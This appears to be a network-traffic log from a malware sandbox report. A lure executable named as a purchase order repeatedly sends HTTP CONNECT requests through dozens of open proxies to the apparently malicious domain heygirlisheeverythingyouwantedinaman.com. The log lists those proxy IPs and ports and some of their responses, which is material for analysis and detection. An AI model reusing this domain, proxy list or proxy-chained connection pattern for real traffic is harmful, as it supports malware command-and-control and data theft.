Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.10	51074	121.128.194.154	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.127628088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.10	50104	23.225.72.122	3500	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.143903017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.176525116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286310911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.192662001 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.10	51072	39.105.5.126	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.148952007 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.10	49981	182.140.244.163	8118	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.149061918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.10	51071	186.124.164.213	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.156542063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.10	50156	146.190.51.181	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.160471916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.176554918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286331892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.285999060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.10	49988	125.99.106.250	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.161559105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.176554918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286331892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.286024094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.285813093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.285680056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.285655022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:57.285664082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:45.316821098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.10	51147	104.19.247.62	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.163310051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.318238974 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.10	51075	212.31.100.138	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.165416002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.10	51105	190.153.121.2	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.191117048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.10	50053	81.19.3.249	10080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.192610025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.10	51101	174.64.199.79	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.194981098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.10	51080	8.142.132.204	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.200088978 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:45.895100117 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:46.369112015 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.10	51089	13.37.59.99	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.208515882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.506704092 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.10	51091	211.222.252.187	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.213429928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.10	50239	142.4.7.20	43100	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.226022005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.285968065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286789894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.286030054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.10	51160	198.23.229.203	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.226084948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.10	51168	107.172.0.177	666	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.229007006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.10	50055	103.77.50.168	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.229008913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.285834074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286758900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.10	51127	184.181.217.194	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.235590935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.10	51132	184.178.172.25	15291	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.242307901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.10	51085	91.148.127.162	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.244448900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.10	51098	198.44.255.3	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.253587008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.10	51110	45.81.232.17	14669	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.257832050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.926347017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.894752979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.812453985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.614070892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.335369110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.202925920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.613934040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.10	51094	45.11.95.166	6008	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.270575047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.988785982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.005024910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.098762035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.10	51169	92.204.135.37	22942	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.271759987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.10	51170	92.204.135.37	62969	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.275480032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.10	50213	68.1.210.163	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.277355909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.10	51210	104.21.85.200	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.278781891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
